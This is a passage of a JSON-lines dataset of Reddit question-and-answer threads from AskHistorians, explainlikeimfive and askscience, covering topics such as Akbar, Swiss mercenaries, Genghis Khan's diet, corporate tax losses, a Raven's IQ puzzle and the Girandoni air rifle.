in all languages of his empire.  \n\nThe economy also flourished under Akbar, who put resources into improving roads and trade while simultaneously cultivating strong relations with the nearby kingdoms and increasing trade with the Portuguese, Ottomans, and other kingdoms.  His light taxation and abolishment of the Jizya tax on non-Muslims encouraged local traders and equality leading to a more open system of trade.  He also extended protections so that trade was safer throughout his empire, leading to a longer, more connected trade throughout India.\n\nIf all of this seems hyperbolic, it is.  Akbar had really good PR, his short name even means \"the Great\" in Persian.  He was hardly as universally popular as he (and later historians) would have us believe and had to suppress many rebellions during his rule, some by the native Indians, others by Persians, others by the Turks.  While the majority of Muslims in his court were content with his rather radical Sufism, conservatives were appalled by his syncretization and adoption of Hindu ideas.  A fatwa was issued against him until he quelled rebellion and declared himself Caliph.  He also was ruthless in battle, resorting to brutal acts during his early reign. \n\nThe assessment of Akbar has as much to do with British and Marathan history as it does with his own.  In order to legitimize their rule and conquest of the Mughals, Akbar was elevated to an almost sanctified status and contrasted with later rulers who were considered decadent or cruel.  His grandson Aurangzeb got the worst of this.  But not all of this was intentional on their part.  Indeed Akbar's ideals resonate with our own.  Religious tolerance and pluralism are part of the foundations of a modern democratic society and his patronage of things we can touch and feel, beautiful things, gives us a very favorable image of him which is tangible and present.  Much like how the Ancient Egyptian Pharaohs are known for their mighty pyramids rather than their economic sense or patronage of waterways, Akbar's contributions to (or rather patronage of) the art and architecture of India are real tangible things that affect people centuries later.  Akbar's reputation is due to a mixture of many factors both related to him and incidental to him.  For starters, he was often in the right place at the right time,  the empire he ruled compared to his descendants was smaller and less diverse and he ruled at a time when there were no significant disasters over a fairly content populace.  He also had a number of talented and powerful people aligned with him who helped him and helped legitimize him. \n\nThis is not to say that Akbar doesn't deserve to be called the great or that his reputation is entirely made up.  No, Akbar's policies and his progressive ideas dramatically reshaped the empire he would rule and India as a whole.  Like anyone given the epithet \"the great\" we need to realize that it is always relative and that it doesn't make them a fantastic person.  However, we also shouldn't go so far as to devalue their accomplishments.  All of that hyperbolic praise above, *that's all true*.  Akbar was a uniquely progressive ruler and even beyond his PR was intelligent, charismatic, and tolerant.  While he may have done bad things, and maybe he was a bit too progressive for some to the detriment of his empire, the picture we have of him is still quite flattering, though perhaps not all that much more flattering than others who could also deserve the title."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3pdung", "title": "Were the famous Swiss mercenary pikemen really worthy of their reputation?", "selftext": "The Swiss mercenaries, especially of the 14th and 15th centuries, have quite the reputation as being the sine qua non of any army utilizing hired \"guns\" in the period. What made them so highly sought after though? Were they really better than everyone else, was it some other quality, or did they just have a good PR Firm on the payroll?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pdung/were_the_famous_swiss_mercenary_pikemen_really/", "answers": {"a_id": ["cw5gavo"], "score": [62], "text": ["Swiss pikemen were famous because with their discipline, they were able to both counter the heavy cavalry and move on the offensive. Thanks to their mercenary tradition, they were well-drilled, disciplined, fearless, and for the most parts quite loyal. \n\nThey proved their mettle in the battles of Grandson and Murten where they beat the Burgundians through aggressive movements. Not only were they fearsome when winning, they were also impressive in defeat. At Marignano, their disciplined retreat enabled them to maintain strategic power. So much so that France entered into \"Eternal Peace\" with the Swiss following that battle, with King Francis I himself declaring, \"I have defeated those that only Caesar has defeated.\"  \n\nBut their military prowess was not the only factor. Their tradition of campaigning each year means they could be reliable partners, and they became important parts of French armies in the Italian wars. Swiss communities included military training in their tradition, so they had a reliable supply of trained troops. \n\nThe Spanish commander Gonzalo Fernandez de Cordoba eventually invented a new fighting system based on the tercio where close-order coordination between firearms and pikes could beat the pike-heavy Swiss formations. Over time, the Spanish were able to win the Italian wars, including the ignoble defeat and capture of Francis I in the 1525 Battle of Pavia. \n\nSource: *Fighting Techniques of the Early Modern World* by Jorgensen, Pavkovic, et al. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a4l8es", "title": "if foreign donations to national us elections are illegal, why are out of state donations allowed for governor/congressional races?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4l8es/eli5_if_foreign_donations_to_national_us/", "answers": {"a_id": ["ebfeyg2", "ebfgj2m", "ebfhwxx"], "score": [26, 6, 7], "text": ["Because Americans are considered to have a legitimate interest in *every* seat in Congress, since they will be directly governed by the laws these people pass.", "At the end of the day that is a donation from an American, to an American. That is very different than a European donating to an American.\n\nAmerica, historically speaking, has been quite vocal about not accepting directions from across the pond. We've been known to make large quantities of cold brewed tea in protest.", "It\u2019s quite possible for someone to have property and family in another state, and therefore have a vested interest in the outcome of a gubernatorial race. \n\nELI5 People may live in one state, but might have their stuff in another. They should be allowed to help the leader that will protect their stuff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e9uk1i", "title": "What would a fancy dinner for Genghis Khan look like?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e9uk1i/what_would_a_fancy_dinner_for_genghis_khan_look/", "answers": {"a_id": ["fan74aw"], "score": [39], "text": ["Ah yes, Genghis \u2013 The Great Khan, *the All-Khan, Khan of Khans, Emperor of the Four Seas, The Universal Ruler,* ***The Punishment of God***\u2026 surely one such as he, with all the trade and tastes of Asia at his fingertips, must have had great tastes to match!\n\nActually, no.\n\nIn spite of the lofty titles we\u2019ve come to associate with him, he remained up to the very end, at his core, simply Tem\u00fcjin of the Onon banks. His tastes were the traditional tastes of his people \u2013 which is to say rather exceptionally plain and simple by virtually any other metric.\n\nA \u201cfancy\u201d feast for the Great Khan, therefore, would have been one of the simplest meals one might imagine any other world-conquerer or leader might deign to indulge, even in their smallest moment. While it\u2019s very true that his family, companions, and followers took their fill of all the worldly pleasures their Khan\u2019s conquests had to offer \u2013 culinary, alcoholic, carnal, and otherwise \u2013 here\u2019s what we\u2019d expect the Great Khan himself to consume:\n\nHe would typically be in his *ger* (alt. yurt) which, though certainly a grand affair by Mongol standards, was nevertheless at the end of the day still a felt-and-wood tent. \n\nAt the meal, those present would be seated around the central cooking pot. Order of seating, serving, and eating was of prime importance, since it designated what was above who in rank and standing. Thus, the cook \u2013 even more than preparing the food itself \u2013 was in charge of \u201ckeeping the peace\u201d of the feast by ensuring that everyone was properly seated and served according to their status. For very similar reasons, no weapons were allowed at the meal. The cook to the Great Khan had one of the most important jobs in the empire, since what he did or did not do could directly impact the health of the Khan. As such, he was one of the highest-ranking officials in the whole empire and also typically in charge of running all other courtly affairs.\n\n#ENTR\u00c9ES:\nOK, so let\u2019s get to the menu itself\u2026 This would be largely seasonal. In the winter and spring, it would consist mostly of *Ulaan Idee*, \u201cred foods,\u201d AKA meats. This would be primarily game freshly caught by the Khan himself and his companions, who was (as with virtually every Mongol man) an avid and lifelong hunter. In fact, his love of hunting was one of the reasons he eventually decided against converting to Chinese Daoism (or at least a convenient excuse against doing so given to the \u201cimmortal\u201d monk who had come to convince him while he was on campaign in Khawarazmia). It also frequently included the more domesticated animals that the Mongols herded, mostly goats and camels. Game animals ranged from Mongolian gazelle, to wild asses (a particular favorite \u2013 and eventually fatal \u2013 quarry of Genghis), and even wild stallion (though this was usually only in emergencies, since horses were usually too valuable to eat). The game typically went from slaughter to consumption in no more than 3 hours. The slaughter would need to be done outdoors, but in the shadow of a tent so that the Sun would not bear witness to the event, and in such a way that did not spill the animal\u2019s blood (and thus its soul) onto the Earth. For smaller game, this meant incising into the chest cavity and pinching off the aorta directly, whereas for large animals like oxen, it meant braining them with a sledge-hammer.\n\nIn the summer and autumn, the main dish would be *Tsagaan Idee*, \u201cwhite food\u201d AKA cheeses and other dairy products, such as yogurt, milk, and the perennial Mongolian favorite drink, the mildly-alcoholic *airag* (fermented mares\u2019 milk). Genghis himself did not typically partake in *airag* or any other sort of alcohol, but would surely have had plenty on hand for his notoriously thirsty kinsmen. This dairy-diet would be supplement with the catching and eating of marmots, which would be cooked largely whole in their own skins, and then eaten.\n\nWhat about some greenery? A little side-salad for all this protein and fat?\nNope. Vegetables were considered no different than grass: animal food\u2026 and the Mongols had a longstanding disgust for consuming anything that had come from the ground \u2013 soiled as it usually was with excrement.\n\n#COOKING PREPARATIONS:\n\nWhile the meats could be cooking in their own skins by inserting heated rocks into the carcass, that was more of an on-the-move, out-of-necessity thing\u2026 and this is supposed to be a fancy feast, so we\u2019ll be using pots. The food would be cooked in front of all present, in a central pot heated by a dung-fire. The meats would be boiled in a very simple fashion, typically in milk. There would be virtually no seasoning or spice to speak of, save for the natural flavors of the meat, blood, fat, and milk of the animal itself as they stewed together.\n\n#SERVING:\n\nAll foods, once ladled out of the pot and into either communal or personal dishes, would typically be eaten by-hand. Airag and other beverages would be ladled out of a communal pot and into personal drinking bowls at frequent, regular intervals.\n\nPretty fancy, eh? Ready to dine with the Khan of Khans?\n\nUPDATE: Got a question about the potential for scurvy, which I hadn't included. Not *nearly* the issue you might think! Fact is, most animals produce plenty of their own Vit-C, and eating them gives it to people. Apparently lamb liver has loads of it. (This is also how Inuit people survive in the Arctic, since most of the animals they hunt, like whales and seals, store oodles of vit-C in their blubber).\n___________________________\n\n#Sources:\n\nFenner, J., Tumen, D.,  &  Khatanbaatar, D. \u201cFood fit for a Khan: stable isotope analysis of the elite Mongol Empire cemetery at Tavan Tolgoi, Mongolia\u201d *Journal of Archaeological Science, 46.*\n\nMeehan, Peter. \u201cThe Mongol Diet\u201d.\n\nWeatherford, Jack. *Genghis Khan and the Making of the Modern World.*\n\n__________________________\n\n***Would You Like To Know More? [Yes/No]***  \nIf so, consider checking out my show: The History of China Podcast - [Site](_URL_0_)/[iTunes](_URL_1_)/[RSS](_URL_2_)\n\nWe're currently in the reign of Genghis' grandson, Khubilai, over the Yuan Dynasty in the late 13th century!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://thehistoryofchina.wordpress.com", "https://podcasts.apple.com/us/podcast/the-history-of-china/id741606139", "http://feeds.feedburner.com/TheHistoryOfChina"]]}
{"q_id": "7kojay", "title": "With the advancement of led lights and other more power efficient appliances in homes is the average home power usage going down?", "selftext": "I also understand that we have more electronic devices now but are they overall less power hungry?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7kojay/with_the_advancement_of_led_lights_and_other_more/", "answers": {"a_id": ["drg1rgj", "drgbe9l", "drgm1p6", "drgmu6d"], "score": [91, 6, 9, 6], "text": ["In the UK, electricity consumption per household [peaked around 2005](_URL_0_). It has dropped around 15% since then. (See link for the interplay of efficiency vs extra devices.)", "Not in the Unites States. Since about 1990, we have held around 95-99 quads of annual energy consumption. There has been a shift to more efficient appliances, but our phantom loads continue to increase (large plasma TVs) and in general, we are wasteful in practice of energy conservation. The EIA has great datasets to explore. _URL_0_ ", "Not sure if I should create another thread or just ask in this one; a lot of the replies here state that utilities are raising rates due to increasingly stagnant energy usage. \n\nWhy isnt there more competition in this space? I live in Idaho and Idaho Power (Private company) has a monopoly and can charge just about anything they want afaik.\n\nAt what point do these power companies start losing so much money that they go bankrupt. What happens then? (Serious question)\n\nThanks and sorry if this is an inappropriate place for this question in the context of this thread.", "So I work with a non-profit that operates at a remote site, powered by our own private power system. Our hydro-electric plant produces about 260kVA in the summer, and drops down to as low as 40kVA in the winter.\n\nDespite the radical improvement in efficiency when it comes to our lighting loads (our guest rooms have 4 bulbs in them, totally 28W with LEDs vs 240W on incandescent), the total load on our grid has gone up over the years, mostly due to people's electronic devices as well as our own IT systems, and other things that we've had to put in for regulatory and similar purposes. \n\nOur base IT load is now about 3500W across our campus, which is significant when you're only producing about 45kW off your power plant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thisismoney.co.uk/money/bills/article-3388434/British-households-chop-303-annual-fuel-bills-2020-CEBR.html"], ["https://www.eia.gov/totalenergy/data/browser/#/?f=A&amp;start=1949&amp;end=2016&amp;charted=4-6-7-14"], [], []]}
{"q_id": "1zch1h", "title": "if brazil is so heavily catholic, why are carnival costumes so revealing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zch1h/eli5_if_brazil_is_so_heavily_catholic_why_are/", "answers": {"a_id": ["cfsfb83", "cfskf74"], "score": [12, 4], "text": ["It's supposed to be the last day of fun, after that day, all sins are forgiven. So party goers let loose. plus, lent is a very somber time, where you give up pretty much everything that's fun in life. It literally means \"goodbye meat.\"\n\nI'm not catholic, but this is how it was explained to me... ", "Because unlike many other religions, Catholicism has a very strong cultural component that is distinct from the religious component.  Methodists who stop going to church usually don't still consider themselves Methodists, and if they start again, it is not that big of a deal if it is a Lutheran church.\n\nThat all leads to a very interesting dichotomy, where you have countries like Brazil, France, and even Italy, with very high rates of Catholicism, and but liberal abortion laws, prevalent birth control, and low rates of church attendance.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2achuj", "title": "What happened to the Byzantine New England?", "selftext": "I've heard stories of the Byzantine Emperor giving some land in the eastern Black Sea to English refugees who were fleeing William the Conqueror in the 11th century. What became of it? Did it even exist?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2achuj/what_happened_to_the_byzantine_new_england/", "answers": {"a_id": ["citwvln"], "score": [27], "text": ["Some of the surviving members of Saxon noble houses who didn't stay at home to die in the guerilla war being fought against Duke William's men, did flee to the city of Constantinople to sign-up for the Varangian Guard. \n\nSaxons, whilst having a different culture to the Vikings in many respect, did continue on some traditions from their Germanic roots, such as Saxon paganism, or a hierarchical society that incorporated housecarls. Some of these societal elements were reinforced during the Danelaw period. Whilst others faded in time, as most Saxons had converted to Christianity - converting their old spirits and local deities into abstract saints (some of which can be seen as engravings in old chapels across England and Wales) - the use of Scandinavian infantry tactics remained strong. The Danish Axe was a popular weapon seen on the field at Hastings. \n\nIt was therefore a suitable destination for the Saxons to flee to, by way of the river trading networks the Vikings had navigated across Kievan Rus, from the Baltic to the Black seas. These men would have been given positions in the Guard, perhaps even that of rudimentary officers due to their birth and training. When they retired, some guardsmen would have taken their serevence pay and with that currency, bought land to live out their days with what remained of their families, or new ones they may have made when stationed in Constantinople.\n\n*: Perhaps as some additional information: the Scandinavians were not always at war with the inhabitants of Britain. Whilst there certainly were aggressors, trade flourished also, and treasures from Byzantium, North Africa and even India have made their way back along trade routes to as far North as Dublin or Visby in Sweden. The Sutton Hoo burial ship contained within it a hoard of silverware with ERE decorations, or hilts adorned with gemstones that were imports from the Indian subcontinent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pneic", "title": "when i plug a smartphone into a pc via usb, why can't i use the internet through the pc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pneic/eli5_when_i_plug_a_smartphone_into_a_pc_via_usb/", "answers": {"a_id": ["c3qqq9b", "c3qr2lx", "c3qr390", "c3qroe0", "c3qs7z4"], "score": [6, 44, 11, 2, 10], "text": ["I've rooted my Palm Pre and can do what you just described, though using it as a wifi hotspot to tether a connection is quite a bit easier.\n\nI'm not well-versed with Android, but I can answer that it's likely possible to do. You'll have to do your own Googling (or wait for someone else to answer) to find out how though. It took me a bit of setup on my phone and then on my PC to make it work.", "_URL_0_\n\nYou're welcome (note: this is actually a reverse tethering program that does what you want, unlike all the other idiots who can't read.) ", "For those suggesting tethering apps, OP wants to browse on the phone that is connected to a PC via USB. The PC already has a wired net connection.  He does not want to tether his PC to the internet using the phone. ", "Your question is confusing.  You want to get internet on your phone through your PC?", "This is not a real valid ELI5. Please try r/AskReddit  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://forum.xda-developers.com/showthread.php?t=1371345"], [], [], []]}
{"q_id": "2hhx01", "title": "what are seismic isolation devices?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hhx01/eli5what_are_seismic_isolation_devices/", "answers": {"a_id": ["cksumyw"], "score": [2], "text": ["They are things used to keep a building from being damaged in an earthquake. Basically, they involve things like springs or rollers. Normally, the building doesn't move around on them because of its weight. But, when a quake starts, because the force of the motion is so huge in comparison to gravity pulling downward, the building will then slide or move around.\n\nBut... the building slides with a delay, so chances are that as it moves to the left in response to the ground moving that way, the ground is already moving back to the right, which shifts the building to the right with a delay, reducing its motion to the left.\n\nThe systems aren't perfect -- a building with even the best SID will still shake in a quake. But... it will minimize the shaking and the damage. I've seen the effectiveness of these devices in person -- I lived in an apartment where literally nothing was damaged or fell over in a 6.9-ish quake. Meanwhile, a house right next to it was totaled. And the shaking in my apartment was rather substantial despite the SID, but probably nowhere near as bad as what they felt next door."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15doj8", "title": "Can you predict \u00b4Northern Lights\u00b4?", "selftext": "As in the same way you can predict rain, temperature etc.?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15doj8/can_you_predict_northern_lights/", "answers": {"a_id": ["c7lmgev", "c7lryhi"], "score": [9, 2], "text": ["Yes. You monitor solar activity, and specifically the outflow of plasma from the sun to the solar wind, wait a few days and then bang. Aurora. See above links.\n\n\n\nIt works like this: Charged particles (plasma) have high speed collisions with molecules at different altitudes near the poles and each molecule species emit certain wavelengths (Red and green from Oxygen, Blue and red from nitrogen, etc.)\n\n\nNow, a common misconception is that the plasma comes directly from the solar wind. That is rarely the case, instead a strong solar wind transfers energy to plasma already trapped in the earths magnetosphere, which is then oscillating between the poles with higher velocities. Overall a rather complex mechanic.", "In Alaska there used to be a forecast on the News with the weather. I think they lost federal funding or something, because they don't do it anymore but we hear about it on Facebook and Twitter and stuff if it's supposed to be good. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "pehsv", "title": "this puzzle from an iq-test", "selftext": "Could someone please explain [this puzzle](_URL_0_)?\n\nIt's from a Ravens IQ-test, apparently from the 60's or something. The Norwegian military still use these to measure the IQ of recruits (beats me).\n\n**Edit:** Big thanks to **the_nell_87** for the solution and to **Stuntsheep** for the tl;dr, which made it even easier to understand\n\n**Edit 2:** Once again, thank you for all the answers. I love how this went from ELI5 to explain like I have a masters degree in computer engineering. You are all awesome, upvotes for everyone (not that they matter, but it's all I have to give).\n\n**Ninjaedit:** Removed the correct answer from the post, in case someone hasn't already seen it and want to give it a go. Thank you re_gina for the heads-up.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pehsv/eli5_this_puzzle_from_an_iqtest/", "answers": {"a_id": ["c3opm3m", "c3opnjw", "c3oq4hf", "c3or4ew", "c3orr58", "c3osfoc", "c3osux8", "c3osztn", "c3oux5w", "c3ovtex"], "score": [4, 7, 23, 2, 4, 4, 18, 3, 2, 2], "text": ["I would say it is number 8. \n\n\nAlways end your breakdance routine with a headspin freeze.", "This was fun, any other good ones you found challenging?", "Haha. A raven's IQ test! this would be the 1967 revision. For anyone wondering, this is the most difficult question on this test by far. All of the others are much simpler.\n\nIt's also quite out-dated, and these days it's mostly used as an example of 'alternative IQ tests' that exist. You might find this type of test in use for people with specific types of brain injury, or when it's necessary to put some type of score down on paper (for whatever reason) for a child's IQ, but don't have the time or funds to buy a more thorough test.\n\nThey're still very fun to take for the sake of solving a puzzle, though, so I encourage anyone to have a go of one if the opportunity arises.\n\nThe point of this post is just for anyone who might be interested in finding more of these puzzles.", "Soo, given that this is an outdated test and all that, should I still feel 'intelligent' if I managed to solve this on my own in a few minutes? Might I, based on that, probably do well on a modern intelligence test?", "You have to solve the puzzle and then catch all the different Unknowns", "For those who understand logic gates:\n\nCol 3 is the result of the logical comparison of col 1 and col 2. Each row is independent of the others. The perimeter lines are compared using XOR (OR AND (NOT AND)) and the inner lines with just AND. So in row 3, both col 1 and col 2 have perimeter lines in the same place (NE and SE) and therefore \"cancel out\". No inner lines exist in the same place and therefore to not \"carry\" to col 3. I know this isn't ELI5 but satisfactory answers already exist, I'm just sharing my perspective.", "Technically, I'm a **genius** with an IQ of 178, and it *still* took me 45 minutes to solve the puzzle.  :P\n\nIt probably took a while, though, because I chose to study the cello at Julliard and don't really concentrate on subjects dealing with spatial reasoning or geometry.  I used to excel in *le maths*.\n\nWhat's weird is I sort of visually outline everything I see with a second, overlaid line.  I was describing it to someone who interviewed me at Yale (for the \"Yale Daily News\") and they compared me to the \"Terminator.\"  Ha!  \n\nSeriously, though, the lines kind of \"vibrate,\" in my mind, like in that [\"Take On Me\" video](_URL_0_) by \"A-Ha.\"  I turned down the Chicago Art Institute, however, because I felt I was stronger in music and artists aren't as well-respected as concert musicians.  \n\nI just played with the RPO, so I have no regrets.\n\n(I'm not a genius and none of what I wrote is true.  It was just the most obnoxious thing I could think to say and I couldn't solve the puzzle.)", "Public Service Announcement:  When you post a puzzle, DON'T PUT THE ANSWER IN THE FIRST PARAGRAPH!\n\nI get that you wanted an explanation, but it would have been a lot more fun for a lot more people if they had the chance to actually try it without being fed the answer first.\n\nThanks for posting anyway, it was still a fun challenge.", "Just posting to boast that it took me around a minute to solve this. I've never seen it before in my life. Took a bit at first to realize it was 3 horizontal rows. Then noticed the insides flipping. Narrowed it down to 2 and 3 right away. Then made the connection of adding/subtracting lines. 2 was the only one that fit.", "1) There is always a dot.\n2) In each row, the spokes of the first two anded together make the final.\n3) In each row, the outer shell of the first two xored together make the final.\n\nIf that pattern holds, then looking at the last row, it appears the answer should be the isolated dot.\n\nI hate these puzzles -- because they don't explain why the pattern should hold, or why you can't just make up a more sophisticated pattern that has another interpretation."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/od5Mk.jpg"], "answers_urls": [[], [], [], [], [], [], ["http://www.youtube.com/watch?v=djV11Xbc914"], [], [], []]}
{"q_id": "4xpqnn", "title": "What did the North American terrain look like before the glaciers flattened it? Was it mountains all the way from New York to Portland?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4xpqnn/what_did_the_north_american_terrain_look_like/", "answers": {"a_id": ["d6i922f", "d6idmly"], "score": [2, 2], "text": ["That's fairly unlikely. Look at areas of the world that did not see any recent glaciations, like the Middle East. There are mountainous areas, but also large stretches of flat, low-laying areas. \n\nIf no mountain building or tectonic uplift, or large scale volcanism is actively taking place then everything that sticks out eventually gets eroded away and you get your fairly flat landscape.  ", "Changes due to the ice age aren't so much flattening mountains as much as altering the way water flows.  So lakes and rivers today are very different compared to pre-ice age.\n\nCheck the article on Lake Agassiz for more information\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Lake_Agassiz"]]}
{"q_id": "4a0uiz", "title": "how can a profitable corporation have a negative tax rate and pay no taxes?", "selftext": "Came across the following list of companies that paid no taxes in 2015 but were profitable.  If a company makes millions of dollars in profit, how is it that they don't have to pay a percentage of that as tax?\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a0uiz/eli5how_can_a_profitable_corporation_have_a/", "answers": {"a_id": ["d0wgq2o", "d0whn6n", "d0wnvfl", "d0wo09o", "d0wopkj"], "score": [26, 334, 8, 53, 6], "text": ["They were profitable in 2015, but made losses in previous years. Suppose a company loses $1m in one year, then makes a profit of $500k the next year. Overall, they're still $500k in the red, so should they be paying tax on this year's profits? If instead they lost $1m in the first six months and made $500k in the second six months, it would be clear that they'd made a loss that year and have no tax to pay.", "One example: Let's say a drug company opens a subsidiary somewhere where there's little or no tax like Bermuda. \n\nThen it gives the subsidiary its patents.\n\nThen, the US company has to pay royalties to the subsidiary.\n\nSo the US company takes in a huge amount of money and makes a profit, but gosharoonie, once it's paid out royalties on those patents there's no profit left at all.\n\nThe subsidiary makes a big profit, but in Bermuda, where there's little or no tax.\n\nIf that sounds shitty, it is. If it sounds like I'm making it up, [I'm not](_URL_0_). ", "The laws for how accountants calculate a companies profit for the statutory accounts is different to how the profits chargeable to corporation tax are calculated.\n\nFor example (in the UK) if a company knows it will have an expense in the future they accrue the cost in a earlier year, for tax you can only allow it as a cost when it happens.\n\nMoney spent on certain R & D gets an extra deduction compared to other costs. \n\nCapital expenditure gets written down in the accounts so they take a small percentage of the cost each year, the rates allowed in tax law are different, some environmental purchases can be claimed at 100% meaning taxable profit is less than the accounting profit", "The answers here thus far are pretty good, but I'm going to take them a step further.  Specifically, I'm going to look at the very first company on the list, Level 3 Communications.\n\nSo, for 2015, based on the article, they made $283 million dollars of profit before income tax expense.  However, from just looking at some old financial statements of theirs (specifically their Income Tax footnote from their financial statements of 2012 and 2009), they recorded losses before income tax expense/benefit of the following solely in the US:\n\n * 2012 - $434 million\n * 2011 - $692 million\n * 2010 - $542 million\n * 2009 - $513 million\n * 2008 - $216 million\n * 2007 - $1,048 million\n\nThe total is a $3,445 million US loss.  In other words, if the company had solely operated in the US and just had to file a US income tax return, they would have a financial statement loss of about $3.4 billion over these years.  This is NOT necessarily the loss that's reported on their income tax return for each of these years, but over time, for most companies, this is a fairly good approximation of the cumulative taxable income/loss that a company reports on their income tax return.  And, as other folks have commented, if you make a taxable loss in one year, you're (generally) allowed to apply that loss towards future income.\n\nSo, normally, when a company knows they have these losses that they can offset future taxable income with, they would record an income tax benefit (which is the same as negative income expense) because they're going to be allowed to offset future taxable income with these tax losses.  However, if you're generating losses over multiple years like Level 3 has, that's evidence that you may not actually be around long enough to have any future taxable income to offset.  In other words, you likely won't actually be able to benefit from these tax losses.  So, for financial accounting purposes, you have to record what's known as a Valuation Allowance against the cumulative benefit of these tax losses.  This valuation allowance prevents you from recognizing the benefit of these tax losses.\n\n\"Ok,\" you may say, \"what does all of this have to do with 2015?\"  And the answer has to do with this valuation allowance.  So now in 2015, Level 3 seems to have been doing pretty well.  And, in 2015, it actually looks like they'll generate some taxable income so that they can actually use the benefit from the tax losses they generated in 2007-2012.  It looks like that Valuation Allowance applies anymore.  So let's get rid of it!  So now, whoosh, they now record all of this income tax benefit in 2015 and, regardless of whatever their [pretax] income/loss was for 2015, they're going to have a big, favorable income tax benefit.  You can see it when you look at the numbers - a $3.2 billion benefit in 2015 is fairly close to the $3.4 billion of losses Level 3 had from 2007-2012.  And that's why, for 2015, they had such a massive income tax benefit - financial accounting gimmicks.\n\n(Disclaimer for the CPAs - I realize that that I'm making a big, big assumption that book=tax income in the loss years, that I'm not tax-effecting the book income in those years which would actually be DTA that I carry forward and it just so happens the numbers work out the way they do, that I'm purposefully ignoring NOL carrybacks, SRLY rules, etc.)\n\n[edited for formatting, clarity]", "Most of the time, these articles are full of shit. You can use the SEC's EDGAR site to debunk most of them. For example, Level3.\n\nThey acquired TW Telecom a company that saw significant losses. The IRS permits companies to carry that loss forward because they are only taxed on profit and year over year accounting does not negate past losses.\n\n > As of December 31, 2015, the Company had available net operating loss carry forwards of approximately $9.8 billion after taking into account the effects of Section 382 limitation of the Internal Revenue Code for U.S. federal income tax purposes, including $1 billion from the tw telecom acquisition ($9.7 billion net of stock compensation excess benefit). Although the tw telecom acquisition triggered an ownership change under Section 382 of the Internal Revenue Code, the Company has determined that its loss carryforwards should not be mathematically limited based on its value at the time of the ownership change and the expiration dates of its net operating losses.\n\n > As a result of certain realization requirements of applicable accounting guidance, the table of deferred tax asset and liabilities shown above does not include certain deferred tax assets as of December 31, 2015 and December 31, 2014 that arose directly from tax deductions related to equity compensation in excess of compensation recognized for financial reporting. Equity will be increased if and when such deferred tax assets are ultimately realized. The Company uses the ordering rules prescribed by recent accounting guidance to determine when the stock compensation excess tax benefits have been realized. If actual future tax deductions are less than the amount recognized for financial reporting, the tax-effect of the difference may result in an increase to income tax expense.\n\n > The Company\u2019s loss carry forwards expire in future years through 2035 and are subject to examination by the tax authorities up to three years after the carry forwards are utilized. The U.S. net operating tax loss carry forwards available for federal income tax purposes expire as follows (dollars in millions):\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": ["http://ritholtz.com/2016/03/27-companies-that-paid-no-taxes/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheBigPicture+%28The+Big+Picture%29"], "answers_urls": [[], ["http://www.wsj.com/articles/SB115940684960776216"], [], [], ["http://www.sec.gov/cgi-bin/viewer?action=view&amp;cik=794323&amp;accession_number=0000794323-16-000025&amp;xbrl_type=v#"]]}
{"q_id": "1fy08w", "title": "Air Rifles", "selftext": "So I saw a video about the Lewis and Clark expedition carrying an air rifle with them on TIL. (_URL_0_) and it seems that a gun like this would have surpassed any other rifle of the time. Why would armies have used gunpowder rifles with terrible accuracy when these were available with much greater accuracy as well as being able to shoot multiple times without reloading.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fy08w/air_rifles/", "answers": {"a_id": ["caf1zbp"], "score": [3], "text": ["I may be able to help a bit here.  The Girandoni (or Girardoni plus other spellings) air rifle was made for the Austrian army about 1779.  I believe it was the first semi-automatic ever made.  It fired a .462 caliber (11.7 mm) ball at about 500 ft/sec (150 m/sec) with a 21 ball magazine in about a minute or so, depending on the quality of aim.  This was enough to penetrate a 1 inch pine board at 100 yards.  Depending on the reference, with a full charge of 800 psi (55 bar or atmospheres), the rifle could shoot 1 to 4 full magazines.  A hand pump required about 1500 strokes to recharge an empty air tank, which doubled as the shoulder stock.  When fired, replicas are very quiet.  \nNothing comparable is available today, except for the direct copies (references below), despite pressures of 200-300 bar, and modern metallurgy, ballistics and other techniques.  Search for \"big bore airgun\" to confirm this.\nAbout 1500 rifles were purchased by the Austrian government, which was a \"top secret\" of the day.  A few \"sporterized\" versions inevitably made it into private hands, one of which made it to the USA and was bought by Meriwether Lewis before the Lewisa and Clark expedition, where it proved beyond valuable.  Apparently, on contact with a new group of Indians, the standard procedure was for the entire company to put on their dress uniforms, march in formation to the Indian camp, where 